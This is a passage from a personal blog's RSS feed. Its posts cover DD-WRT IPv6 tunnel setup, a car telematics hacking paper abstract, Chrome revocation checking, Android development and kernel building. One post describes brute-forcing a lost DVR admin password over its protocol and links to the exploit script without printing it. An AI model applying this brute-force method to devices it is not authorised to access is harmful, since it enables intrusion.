]]></content:encoded></item><item><title>Sonic IPv6 Tunnel with DD-WRT</title><link>https://lanrat.com/posts/sonic-ipv6-tunnel-with-dd-wrt/</link><pubDate>Mon, 17 Aug 2015 00:53:26 +0000</pubDate><guid>https://lanrat.com/posts/sonic-ipv6-tunnel-with-dd-wrt/</guid><description>Configuration guide for setting up Sonic ISP&amp;#39;s IPv6 tunnel service on DD-WRT router firmware using 6in4 tunneling protocol.</description><content:encoded><![CDATA[<p><a href="https://www.sonic.com/">Sonic</a> (my home ISP) offers an IPv6 tunnel for their customers who have a service plan that does not offer native IPv6 yet. Sonic&rsquo;s IPv6 tunnel operates much the same way <a href="https://www.he.net/">Hurricane Electric&rsquo;s</a> <a href="https://tunnelbroker.net/">Tunnel Broker</a> does, however since the endpoint is located inside the ISP you should get better performance. Sonic even offers example configurations for configuring the IPv6 tunnel endpoint on various operating systems, but none for <a href="https://www.dd-wrt.com/">DD-WRT</a>, a common aftermarket router firmware. Another Sonic user did document how to configure Sonic&rsquo;s IPv6 tunnel with older versions of DD-WRT on the Sonic <a href="https://forums.sonic.net/viewtopic.php?f=13&amp;amp;t=720">forums</a> <a href="https://www.dev-random.me/ddwrt-ipv6-6n4-sonicnet/">at dev-random.me</a>, however the link appears to be dead. Additionally newer versions of DD-WRT have a new IPv6 tab which should allow for a painless configuration using nothing more than the web interface.</p>
<h2 id="configuring-the-modem">Configuring the Modem</h2>
<p>The first step is to put your modem into bridged mode. My modem was a Pace 5268AC. Bridged mode can be enabled by opening the modem&rsquo;s configuration page at <a href="http://192.168.42.1/">http://192.168.42.1/</a> and then going to Settings -&gt; Broadband -&gt; &ldquo;Link Configuration&rdquo; and at the bottom of the page deselect the check-box next to Routing and click save. You may need to reboot your router or have it renew its IP address from Sonic at this time. I initially attempted to configure an IPv6 tunnel using DMZplus, however, in this mode the modem does not forward <a href="https://en.wikipedia.org/wiki/6in4">IP protocol 41</a> which is needed by the IPv6 tunnel to the DMZ host. Additionally I found that when pinging your WAN IP over the Internet the modem would respond to the ping, as well as forward the ping request to the DMZ host as well, resulting in duplicate ping responses.</p>
<h2 id="configuring-sonic">Configuring Sonic</h2>
<p>The next step is to request a static IP address from Sonic if you have not done so already. This can be done from the members portal at &ldquo;Internet Connections&rdquo; -&gt; &ldquo;<a href="https://members.sonic.net/connections/fusion/ip_setup/">Fusion IP Configuration</a>&rdquo;. After this step you will likely need to enter the new static IP setting in your router to regain connectivity. Once that is done you are ready to request an IPv6 tunnel from Labs -&gt; &ldquo;<a href="https://members.sonic.net/labs/ipv6tunnel/">IPv6 Tunnels</a>&rdquo;. Then select &ldquo;View/Request Tunnel&rdquo; to refresh the page with your tunnel information. Remember to enter your external static IP you were assigned from the previous page. This should show you your IPv6 Transport and Network addresses and subnets. Take note of these.</p>
<p><img alt="sonic ipv6 setup" loading="lazy" src="/posts/sonic-ipv6-tunnel-with-dd-wrt/images/sonic-ipv6-tunnel-config.webp"></p>
<p>Now select &ldquo;View Example Configuration&rdquo;. You should now see the following 4 IP address: sonic-side v4 address, customer-side v4 address, Sonic-side transport IP, and customer-side transport IP.</p>
<p><img alt="sonic ipv6 examples" loading="lazy" src="/posts/sonic-ipv6-tunnel-with-dd-wrt/images/sonic-ipv6.webp"></p>
<p>Take note of all 4 of these IPs, as well as the Transport and Network from the previous page.</p>
<h2 id="configuring-your-dd-wrt-router">Configuring your DD-WRT router</h2>
<p>Open your DD-WRT router&rsquo;s configuration page (usually <a href="http://192.168.1.1/">http://192.168.1.1</a>) and go to Setup -&gt; <a href="http://192.168.1.1/IPV6.asp">IPv6</a>. If you do not have a IPv6 tab then you are likely running an older build of DD-WRT before the web interface got IPv6 support. I&rsquo;m running r27506 but other builds should work just as well. From this page, first enable IPv6 and click save, this should make the page reload with all of the options. You want to use a &ldquo;6in4 Static Tunnel&rdquo;, with a prefix length of 60.</p>
<p><strong>Static DNS 1 &amp; 2</strong> Sonic&rsquo;s DNS servers do not have an IPv6 address (that I know of) so I used Google&rsquo;s public DNS servers 2001:4860:4860::8888 and 2001:4860:4860::8844 for Static DNS 1 &amp; 2.</p>
<p><strong>Assigned / Routed Prefix</strong> should be the Network subnet from the previous page without the <code>/60</code> at the end. So if your network is <code>2001:05a8:aaaa:bbbb:0000:0000:0000:0000/60</code> enter <code>2001:05a8:aaaa:bbbb::</code>. <code>::</code> is not a typo, it is an abbreviation used in IPv6 address notation for 0 bits.</p>
<p><strong>Router IPv6 Address</strong> should be left blank, DD-WRT should automatically use the correct value.</p>
<p><strong>Tunnel Endpoint IPv4 Address</strong> should be the &ldquo;sonic-side v4 address&rdquo; you took note of before. For me it was 208.201.234.221, but you may have a different value.</p>
<p><strong>Tunnel Client IPv6 Address</strong> should be the &ldquo;customer-side transport IP&rdquo; from the Sonic example configuration page. The bitmask should be <code>/127</code>, however my build of DD-WRT has <code>maxlength=2</code> set on form field. Editing the DOM directly and removing this limitation allows you to successfully enter 127.</p>
<p><strong>MTU</strong> should be set to 0 to allow DD-WRT to automatically determine the correct value.</p>
<p><strong>Radvd</strong> should be enabled.</p>
<p>When you are done your IPv6 configuration page should look like this:</p>
<p><img alt="dd-wrt ipv6 sonic" loading="lazy" src="/posts/sonic-ipv6-tunnel-with-dd-wrt/images/dd-wrt-ipv6.webp"></p>
<p>Click Save, then Apply, and then reboot the router. If everything is correct DD-WRT should show an IPv6 addresses in the upper right corner and should offer global IPv6 addresses to computers on the network.</p>
<h2 id="fixing-icmpv6-ping">Fixing ICMPv6 (PING)</h2>
<p>By default DD-WRT blocks incoming IPv6 pings to your computers on your network. If you want to be able to ping individual computers on your network over the Internet, add the following firewall rule to DD-WRT under Administration -&gt; Commands.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ip6tables -I FORWARD <span style="color:#ae81ff">3</span> -p icmpv6 --icmpv6-type echo-request -j ACCEPT
</span></span></code></pre></div><p>After saving and applying you should be able to ping your computer&rsquo;s global IPv6 address from any other IPv6 host on the Internet.</p>
<h2 id="enabling-modem-access">Enabling Modem Access</h2>
<p>The big downside of putting your modem into bridged mode is that you can no longer access its configuration page. Some people don&rsquo;t care about this, but I like it as it allows me to see my current connection rate and transmission errors. Bridge mode does not mean you need to loose modem access. With another firewall rule you can regain access to the modem&rsquo;s configuration page. In DD-WRT under Administration -&gt; Commands save the following line as the startup script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ifconfig <span style="color:#e6db74">`</span>nvram get wan_ifname<span style="color:#e6db74">`</span>:0 192.168.42.2 netmask 255.255.255.0
</span></span></code></pre></div><p>And add the following line to the router&rsquo;s firewall script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>iptables -t nat -I POSTROUTING -o <span style="color:#e6db74">`</span>nvram get wan_ifname<span style="color:#e6db74">`</span> -j MASQUERADE
</span></span></code></pre></div><p>These rules give DD-WRT a second IP of 192.168.42.2 which allows routing to the same subnet the modem is on. After saving, applying and rebooting visiting <a href="http://192.168.42.1/">http://192.168.42.1</a> should bring the modem&rsquo;s configuration page back up. It should look something like this:</p>
<p><img alt="dd-wrt commands" loading="lazy" src="/posts/sonic-ipv6-tunnel-with-dd-wrt/images/dd-wrt-ipv6-commands.webp"></p>
<h2 id="success">Success</h2>
<p>If everything went well you should have a fully functional IPv6 tunnel to your home network. You can verify this by using <a href="https://test-ipv6.com">test-ipv6.com</a> or <a href="https://ipv6-test.com">ipv6-test.com</a>.</p>
]]></content:encoded></item><item><title>Fast and Vulnerable: A Story of Telematic Failures</title><link>https://lanrat.com/posts/fast-and-vulnerable/</link><pubDate>Tue, 11 Aug 2015 20:49:23 +0000</pubDate><guid>https://lanrat.com/posts/fast-and-vulnerable/</guid><description>Security research demonstrating remote automobile control vulnerabilities in aftermarket telematic control units accessible via SMS and Internet connections.</description><content:encoded><![CDATA[<p>I gave a presentation at <a href="https://www.usenix.org/conference/woot15/workshop-program/presentation/foster">WOOT 2015</a> demonstrating how network enabled telematic control units (TCUs) can be used to remotely control automobiles from arbitrary distance over SMS or the Internet.</p>
<h2 id="abstract">Abstract</h2>
<p>Modern automobiles are complex distributed systems in which virtually all functionality, from acceleration and braking to lighting and HVAC, is mediated by computerized controllers. The interconnected nature of these systems raises obvious security concerns and prior work has demonstrated that a vulnerability in any single component may provide the means to compromise the system as a whole. Thus, the addition of new components, and especially new components with external networking capability, creates risks that must be carefully considered.</p>
<p>In this paper we examine a popular aftermarket telematics control unit (TCU) which connects to a vehicle via the standard OBD-II port. We show that these devices can be discovered, targeted, and compromised by a remote attacker and we demonstrate that such a compromise allows arbitrary remote control of the vehicle. This problem is particularly challenging because, since this is aftermarket equipment, it cannot be well addressed by automobile manufacturers themselves.</p>
<p>You can read the <a href="https://ian.ucsd.edu/papers/woot15-tcu.pdf">full paper</a>.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update</span>
      </div>
      <div class="admonition-content">
        <p>I also gave this talk at ToorCon 2015! See the full talk recording below!</p>
      </div>
    </div><h2 id="toorcon-2015-talk">ToorCon 2015 Talk</h2>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/T7t3xjdqIU8?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h2 id="demo-video">Demo Video</h2>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/-CH9BvFlrGs?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h2 id="cves">CVEs</h2>
<ul>
<li><a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2906">CVE-2015-2906</a></li>
<li><a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2907">CVE-2015-2907</a></li>
<li><a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2908">CVE-2015-2908</a></li>
</ul>
<p>Vulnerability Note: <a href="https://www.kb.cert.org/vuls/id/209512">VU#209512</a></p>
<h2 id="press">Press</h2>
<ul>
<li><a href="https://www.wired.com/2015/08/hackers-cut-corvettes-brakes-via-common-car-gadget/">WIRED: Hackers Cut a Corvette&rsquo;s Brakes Via a Common Car Gadget</a></li>
<li><a href="https://www.kpbs.org/news/2015/oct/29/car-hacking-research-accelerates-uc-san-diego/">KPBS: Car Hacking Research Accelerates At UC San Diego</a></li>
<li><a href="https://www.engadget.com/2015-08-11-obd-ii-text-message-car-hack.html">Engadget: Hackers control connected cars using text messages</a></li>
<li><a href="https://www.theverge.com/2015/8/11/9130203/wireless-hack-corvette-brakes-insurance-dongle">The Verge: Researchers wirelessly hack a Corvette&rsquo;s brakes using an insurance dongle</a></li>
<li><a href="https://www.businessinsider.com/hackers-control-brakes-in-cars-with-text-message-2015-8">Business Insider: Hackers have figured out how to take over the brakes in some cars with a simple text message</a></li>
<li><a href="https://gizmodo.com/small-wireless-car-devices-allow-hackers-to-take-contro-1723385132">Gizmodo: Small Wireless Car Devices Allow Hackers to Take Control of a Vehicle&rsquo;s Brakes</a></li>
</ul>
]]></content:encoded></item><item><title>PSA: Enable server certificate revocation checking in Chrome</title><link>https://lanrat.com/posts/enable-server-certificate-revocation-checking-in-chrome/</link><pubDate>Mon, 14 Apr 2014 20:01:44 +0000</pubDate><guid>https://lanrat.com/posts/enable-server-certificate-revocation-checking-in-chrome/</guid><description>Tutorial for enabling SSL certificate revocation checking in Chrome browser to protect against Heartbleed and other SSL vulnerabilities.</description><content:encoded><![CDATA[<p>Recently there has been a lot of buzz about the recent <a href="https://heartbleed.com/">Heartbleed</a> vulnerability found in some versions of OpenSSL. The attack works due to a mistake in the server validating part of the request made by the SSL client. The popular web comic XKCD has made a great simple comic <a href="https://xkcd.com/1354/">explaining how the attack works</a>, and there are <a href="https://filippo.io/Heartbleed/">simple tools</a> to test for vulnerable servers.</p>
<p>But how does this affect me, a user?</p>
<p>Well, if any of the services you used were vulnerable, you should at least change your password. Ideally the administrators of the service are aware of this attack and have fixed the issue on their end, and hopefully revoked their previous SSL certificate and issued a new one. If they have not, then you should really consider moving your data elsewhere.</p>
<p>For the web, most web browsers will automatically check for revoked certificates and warn the user if they try to visit a site that is using a certificate that has been revoked. However, Google Chrome, currently the most <a href="https://www.w3schools.com/browsers/browsers_stats.asp">popular web browser</a>, does not check if a server&rsquo;s certificate has been revoked by default. Safari, Firefox, and even Internet Explorer do perform this check by default. But don&rsquo;t worry, CRL (<a href="https://en.wikipedia.org/wiki/Revocation_list">certificate revocation list</a>) checking can be enabled!</p>
<p>To enable CRL checking in Chrome enter <code>chrome://settings</code> into the address bar and press enter. Once on the settings page, enter &ldquo;ssl&rdquo; into the search box. Finally check the box next to &ldquo;Check for server certificate revocation&rdquo;.  That&rsquo;s all!</p>
<p><img alt="chrome-CRL" loading="lazy" src="/posts/enable-server-certificate-revocation-checking-in-chrome/images/chrome-ssl-revocation-setting.webp"></p>
<p>To verify that certificate revocation checking works, you can visit <a href="https://www.cloudflarechallenge.com">https://www.cloudflarechallenge.com</a>. If the page loads then your browser is not checking for revoked certs. If you see an error, then your browser noticed that the certificate being used on the server has been revoked and is doing its job.</p>
<p>More information about how the Heartbleed attack affects certificates can be found <a href="https://blog.cloudflare.com/answering-the-critical-question-can-you-get-private-ssl-keys-using-heartbleed">in this CloudFlare blog post</a>.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update</span>
      </div>
      <div class="admonition-content">
        <p>Enabling CRL checking is good, but it is not a full solution. CRL does not work on large scales, to learn more read <a href="https://news.netcraft.com/archives/2013/05/13/how-certificate-revocation-doesnt-work-in-practice.html">this</a>.</p>
      </div>
    </div>]]></content:encoded></item><item><title>TRIPLEX DVRLink DVR468RW Exploit</title><link>https://lanrat.com/posts/triplex-dvrlink-dvr468rw-exploit/</link><pubDate>Thu, 20 Jun 2013 20:00:00 +0000</pubDate><guid>https://lanrat.com/posts/triplex-dvrlink-dvr468rw-exploit/</guid><description>Security analysis and brute force exploit for TRIPLEX DVRLink DVR468RW surveillance system password recovery using Python automation.</description><content:encoded><![CDATA[<p>At an internship I had a while ago one project assigned to me was to regain access to a CCTV security system which we had been locked out of for some years. (The previous manager left without leaving the password.)</p>
<p>The DVR system was a TRIPLEX DVRLink DVR468RW, whatever that is. It seemed cheap; a small embedded computer with video in/out, a hard-drive and CD-RW drive for recording storage. The administration interface was accessed either by a web server running on the device or a desktop client you installed on your computer.</p>
<p>My initial thought was to remove the device&rsquo;s internal clock battery to reset the password back to the default of &ldquo;1234&rdquo;, no dice. Next on the list of things to try was examining the hard-drive in a desktop computer to see if the password could be viewed or reset. The hard drive had a single partition with some old surveillance video footage; nothing to do with settings or authentication. Further examination of the main board revealed a flash memory chip which I assumed stored the device&rsquo;s configuration, including the administration password.</p>
<p>Let me step back here… The administration password could be entered either over one of the remote management interfaces (the desktop client or web server) or physically on the devices keypad. The keypad had the buttons: <code>[1]</code>, <code>[2]</code>, <code>[3]</code>, <code>[4]</code> and <code>[ENTER]</code>.  Well isn&rsquo;t that interesting; it looks as if the password can only be made up of at most 4 characters. And the desktop client nicely informs me that when entering a password it must be between 4 and 8 characters long, that leaves only 87,296 possibilities.</p>
<p>So, onto the next attack! Knowing that this device had such a limited amount of possible options for the password a brute force attack wouldn&rsquo;t be bad at all. After spending a lot of time examining unsuccessful login attempts from the desktop client in Wireshark and understanding their proprietary protocol, I wrote my first useful python script to automate the process. After a few false positives and tweaks, I was able to get the program to generate a list of every possible password combination for the device and try them out. Within a minute of running I had the device&rsquo;s long lost administration password of &ldquo;1324&rdquo; (It has since been changed).</p>
<p>After logging in as the Administrator I was able to see that there were other accounts on the system as well. And my program worked equally well for all of them. However it is currently hard-coded to use the Administrator username.  You may change it if you wish, but why bother? 😉</p>
<p>Attached to this post is both the exploit and manual for the TRIPLEX DVRLink DVR468RW. I hope that either may be useful to someone. (In a law abiding way)</p>
<p><a href="https://gist.github.com/lanrat/bbdc421247480691a9c4f5427a083667">DVR_exploit.py</a> (Developed and tested with Python 3 running on Windows XP)</p>
<p><a href="https://store.2600.com/products/copy-of-copy-of-copy-of-season-year"><img alt="2600 Magazine" loading="lazy" src="/posts/triplex-dvrlink-dvr468rw-exploit/images/sp131_large.gif"></a></p>
<p>This article has been published in <a href="https://store.2600.com/products/copy-of-copy-of-copy-of-season-year">2600 Magazine issue Spring 2013; Volume 30, Number one</a>!</p>
]]></content:encoded></item><item><title>Getting Started with ActionBarSherlock</title><link>https://lanrat.com/posts/getting-started-with-actionbarsherlock/</link><pubDate>Tue, 11 Jun 2013 22:55:29 +0000</pubDate><guid>https://lanrat.com/posts/getting-started-with-actionbarsherlock/</guid><description>Android development tutorial covering ActionBarSherlock implementation for backward compatibility of action bars in pre-Honeycomb Android versions.</description><content:encoded><![CDATA[
            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update</span>
      </div>
      <div class="admonition-content">
        <p>ActionBarSherlock is no longer necessary. The latest Google Support Library includes <a href="https://developer.android.com/topic/libraries/support-library/features.html">appcompat</a> which is a better solution.</p>
      </div>
    </div><p><a href="http://actionbarsherlock.com/">ActionBarSherlock</a> is an Android support library designed to allow you to use the ActionBar which was introduced in Android 3.0 Honeycomb with older devices, back to Android 2.1 Eclair. This allows your applications to have a modern looking interface, even on older devices whose API does not support the new features.</p>
<p>To get started using ActionBarSherlock in Eclipse follow these steps.</p>
<h2 id="download-actionbarsherlock">Download ActionBarSherlock</h2>
<p>Visit <a href="http://actionbarsherlock.com/">http://actionbarsherlock.com</a> to download and extract the latest version to a development directory. You will be including this directory as a library in your app.</p>
<p>In Eclipse choose File -&gt; New -&gt; Other and select &ldquo;Android Project from Existing Code&rdquo;. Select the &ldquo;actionbarsherlock&rdquo; folder withing the directory of the zip file you just extracted. Eclipse should detect the project and import it into your workspace.</p>
<h2 id="create-a-new-application">Create a New Application</h2>
<p>If you are going to add the ActionBar to an existing application skip this step.</p>
<p>Create a new Android application. I recommend the lowest minimum SDK you can use for your application (no lower that API 7). And set the target SDK to the highest version you can support (ideally the newest Android version). Finish the rest of the new application wizard so that Eclipse shows you your newly created application.</p>
<h2 id="adding-actionbarsherlock-to-the-application">Adding ActionBarSherlock to the Application</h2>
<p>Right click the application project and select properties. Then in the Android section under Library select Add and choose actionbarsherlock. Select Apply and then OK.</p>
<p>If you get the error: <code>Found 2 versions of android-support-v4.jar in the dependency list</code> in the console output then delete android-support-v4.jar in your project&rsquo;s libs directory.</p>
<p>In AndroidManifest.xml add the attribute <code>android:theme=&quot;@style/Theme.Sherlock&quot;</code> to the Application section. There is also <code>Theme.Sherlock.Light</code>,<code>Theme.Sherlock.Light.DarkActionBar</code>, <code>Theme.Sherlock.Light.NoActionBar</code> and <code>Theme.Sherlock.NoActionBar</code>.</p>
<p>Now you need to update each Activity that you want the ActionBar to appear on. In each Activity import <code>com.actionbarsherlock.app.SherlockListActivity</code> and remove the import for <code>android.app.Activity</code>. Change the class to extend <code>SherlockActivity</code> instead of <code>Activity</code>.</p>
<p>The ActionBar can also replace application menus. To use the ActionBar for menus import <code>com.actionbarsherlock.view.Menu</code> and <code>com.actionbarsherlock.view.MenuItem</code>. And remove the imports for <code>android.view.Menu</code>, <code>android.view.MenuInflater</code>, and <code>android.view.MenuItem</code>. Inside <code>onCreateOptionsMenu()</code> replace <code>getMenuInflater()</code> with <code>getSupportMenuInflater()</code>.</p>
<p>You will use an xml menu resource to define the ActionBar menu items just like you did for older Android menus; however items have some new options. Most importantly <code>android:showAsAction</code>. This defines whether the menu item is allowed to be shown on the dropdown menu if all the icons don&rsquo;t fit on the action bar. It also allows you to display just the item&rsquo;s icon, or display its title. Below is a sample ActionBar menu I use on <a href="/posts/wifi-recovery-for-android">WiFi Key Recovery</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;</span> ?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;menu</span> <span style="color:#a6e22e">xmlns:android=</span><span style="color:#e6db74">&#34;http://schemas.android.com/apk/res/android&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;item</span> <span style="color:#a6e22e">android:id=</span><span style="color:#e6db74">&#34;@+id/menu_backup&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:icon=</span><span style="color:#e6db74">&#34;@drawable/ic_action_save&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:title=</span><span style="color:#e6db74">&#34;@string/menu_backup&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:showAsAction=</span><span style="color:#e6db74">&#34;always|withText&#34;</span><span style="color:#f92672">&gt;&lt;/item&gt;</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;item</span> <span style="color:#a6e22e">android:id=</span><span style="color:#e6db74">&#34;@+id/menu_refresh&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:title=</span><span style="color:#e6db74">&#34;@string/menu_refresh&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:icon=</span><span style="color:#e6db74">&#34;@drawable/ic_action_refresh&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:showAsAction=</span><span style="color:#e6db74">&#34;ifRoom&#34;</span><span style="color:#f92672">&gt;&lt;/item&gt;</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;item</span> <span style="color:#a6e22e">android:id=</span><span style="color:#e6db74">&#34;@+id/menu_about&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:title=</span><span style="color:#e6db74">&#34;@string/menu_about&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:icon=</span><span style="color:#e6db74">&#34;@drawable/ic_action_about&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:showAsAction=</span><span style="color:#e6db74">&#34;ifRoom&#34;</span><span style="color:#f92672">&gt;&lt;/item&gt;</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;item</span> <span style="color:#a6e22e">android:id=</span><span style="color:#e6db74">&#34;@+id/menu_settings&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:icon=</span><span style="color:#e6db74">&#34;@drawable/ic_action_settings&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:title=</span><span style="color:#e6db74">&#34;@string/menu_wifi_settings&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">android:showAsAction=</span><span style="color:#e6db74">&#34;ifRoom&#34;</span><span style="color:#f92672">&gt;&lt;/item&gt;</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/menu&gt;</span>
</span></span></code></pre></div><h2 id="bugs">Bugs</h2>
<p>Sometimes the android-support-v4.jar included in ActionBarSherlock may cause problems when using some of the newer API calls. I&rsquo;ve noticed this when creating notifications with multiple actions. To fix this copy android-support-v13.jar from your Android SDK folder into ActionBarSherlock&rsquo;s or your project&rsquo;s libs folder. It will detect both versions of the support library and use the newest one. You should only need to do this last step if this is causing issues as ActionBarSherlock will likely be updated and fix this in a future release.</p>
]]></content:encoded></item><item><title>How to Compile a Linux Kernel for Android</title><link>https://lanrat.com/posts/how-to-compile-a-linux-kernel-for-android/</link><pubDate>Mon, 27 May 2013 23:03:00 +0000</pubDate><guid>https://lanrat.com/posts/how-to-compile-a-linux-kernel-for-android/</guid><description>Step-by-step guide for compiling custom Linux kernels for Android devices using the Android toolchain and creating flashable images.</description><content:encoded><![CDATA[<p>A while ago I was working on building a custom kernel for my Android phone. Once you get the source the compilation process is not as straightforward as I hoped. Here are the steps required to get from the kernel source to a flashable image for your phone.</p>
<h2 id="get-a-copy-of-the-build-toolchain-and-linux-kernel-for-your-device">Get a copy of the build toolchain and Linux kernel for your device</h2>
<p>First download a copy of the pre-build toolchain from git.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6
</span></span></code></pre></div><p>Then locate a copy of a kernel for your device. I used the <a href="https://www.cyanogenmod.org/">CyanogenMod</a> kernel for the <a href="https://github.com/CyanogenMod/android_kernel_samsung_tuna">tuna</a> device which is the code-name for the hardware of the Galaxy Nexus. Alternatively you can get a kernel from the <a href="https://source.android.com/source/building-kernels.html">Android source website</a>.</p>
<p>Download the kernel with git:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/CyanogenMod/android_kernel_samsung_tuna.git
</span></span></code></pre></div><h2 id="build-the-kernel-configuration-file">Build the kernel configuration file</h2>
<p>Change into the root directory of the kernel you just downloaded and run the following code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export ARCH<span style="color:#f92672">=</span>arm
</span></span><span style="display:flex;"><span>export SUBARCH<span style="color:#f92672">=</span>arm
</span></span><span style="display:flex;"><span>export CROSS_COMPILE<span style="color:#f92672">=</span>/home/user/git/arm-eabi-4.4.3/bin/arm-eabi-
</span></span><span style="display:flex;"><span>make DEVICE_defconfig
</span></span></code></pre></div><p>Replace the CROSS_COMPILE path with the path to where you cloned the toolkit repository and replace DEVICE_defconfig with the configuration name for the device you are using; I used tuna_defconfig. If you are using CyanogenMod then use cyanogenmod_DEVICE_defconfig. This will create a .config file with all the setting to compile the kernel with. You can edit the file with a text editor or run the following if you want to use a terminal GUI.</p>
